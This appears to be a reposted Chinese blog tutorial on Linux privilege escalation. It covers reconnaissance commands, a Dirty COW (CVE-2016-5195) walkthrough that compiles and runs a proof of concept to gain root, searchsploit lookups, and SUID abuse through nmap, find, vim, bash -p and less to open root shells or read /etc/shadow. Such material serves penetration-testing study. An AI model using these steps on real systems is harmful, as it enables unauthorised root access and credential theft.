• Linux提权小结


    原文链接:http://zone.secevery.com/article/1104

    Linux提权
    1.信息收集
    2.脏牛漏洞提权
    3.内核漏洞exp提权
    4.SUID提权
     
    0x00 基础信息收集
    (1):内核,操作系统和设备信息

    uname -a    打印所有可用的系统信息
    uname -r    内核版本
    uname -n    系统主机名。
    uname -m    查看系统内核架构(64位/32位)
    hostname    系统主机名
    cat /proc/version    内核信息
    cat /etc/*-release   分发信息
    cat /etc/issue       分发信息
    cat /proc/cpuinfo    CPU信息


    (2)用户和群组

    cat /etc/passwd     列出系统上的所有用户
    cat /etc/group      列出系统上的所有组
    grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
    whoami              查看当前用户
    w                   谁目前已登录,他们正在做什么
    last                最后登录用户的列表
    lastlog             所有用户上次登录的信息
    lastlog –u %username%  有关指定用户上次登录的信息
    lastlog |grep -v "Never"  以前登录用户的完


    (3)用户和权限信息:

    whoami        当前用户名
    id            当前用户信息
    cat /etc/sudoers  谁被允许以root身份执行
    sudo -l       当前用户可以以root身份执行操作

    (4)环境信息
     

    env        显示环境变量
    set        现实环境变量
    echo %PATH 路径信息
    history    显示当前用户的历史命令记录
    pwd        输出工作目录
    cat /etc/profile   显示默认系统变量
    cat /etc/shells    显示可用的shell

    更多 --> https://www.rebootuser.com/?p=1623
     
     
    0x01脏牛漏洞本地提权
    漏洞描述:
    漏洞编号:CVE-2016-5195
    漏洞名称:脏牛(Dirty COW)
    漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
    影响范围:Linux kernel >=2.6.22  并且Android也受影响
    脏牛漏洞名称的来源:


    Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
    一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞


    漏洞原理:


    该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。


    漏洞复现过程:
    靶机:CentOS 6.5
    1.查看linux内核版本是否大于等于2.6.22

    uname -a
    11.png



    2.上传POC至 /tmp 目录下(tmp目录具有较高权限)
     

    1.png



    3.对dirty.c进行gcc编译生成一个可执行文件

    gcc -pthread dirty.c -o dirty -lcrypt
     ***       
     -pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现
     -o  为编译后输出的文件名
     ***



    2.png


    4.运行dirty可执行文件进行本地提权

    ./dirty passwd

    这个漏洞利用的过程大概要三分钟,耐心等待之后即可出现

    3.png


    此时切换到firefart用户,密码为123456

    4.png


    执行id命令后可以看到已经为root用户了,成功提权。
    参考:http://zone.secevery.com/article/290

    ----------------------------------------
     
    0x02内核漏洞提权

    果linux内核版本小于2.6.22或者脏牛无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。而searchs
    polit的使用也很简单,只需要在后面跟上限定条件即可。
    查看linux漏洞

    searchspolit linux
    5.png


    查看centos6版本漏洞

    searchspolit centos 6
    6.png


    但我们通常查看指定内核版本和linux版本。如:

    searchspolit centos 7 kernel 3.10
    7.png


     
    所限定的条件越多,当然可利用的漏洞也就越少。我们选中其中符合靶机环境的漏洞后进行查看。
    利用leafpad命令查看文档内容并且复制到靶机上生成相应的文件。(漏洞的利用虽然是英文,但是一定要看一下使用方法)
     

    leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c
    8.png


    参考:https://xz.aliyun.com/t/2860
    -----------------------------------------------------
    0x03 SUID提权
    SUID概念:


    SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性


    SUID提权:


    那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。


    首先在本地查找符合条件的文件,有以下三个命令

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} ;
    01.png


    列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
    --------------------------------------------------------
    常用的可用于suid提权的文件

    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp


    namp
    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
    可以使用下命令进入namp交互模式

    nmap --interactive

    执行命令后会返回一个shell

    nmap> !sh
    sh-3.2# whoami
    root
    02.png


    而在Metasploit中也有一个模块可以通过SUID Nmap进行提权
     

    exploit/unix/local/setuid_nmap

    find
    如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

    touch test
    find test -exec whoami ;


    vim
    Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件

    vim /etc/shadow
    03.png


     
    bash
    以下命令将以root身份打开一个bash shell

    bash -p
    bash-3.2# id
    uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)


    less
    程序less也可以执行提权后的shell。
     

    less /etc/passwd
    !/bin/sh

    参考:https://www.anquanke.com/post/id/86979

  • 相关阅读:
    假设法求最大值和数组的优点
    要明白每个变量的语义,尽量避免一个变量有多重语义
    掷色子6000次分别统计出点子出现的次数
    c语言函数是怎么传递参数的
    为什么rand和srand总是同时出现?
    c语言解二元二次方程组
    【译】第三篇 Replication:事务复制-发布服务器
    【译】第二篇 Replication:分发服务器的作用
    【译】第一篇 Replication:复制简介
    【译】第八篇 Integration Services:高级工作流管理
  • 原文地址:https://www.cnblogs.com/nul1/p/11309287.html
Copyright © 2020-2023  润新知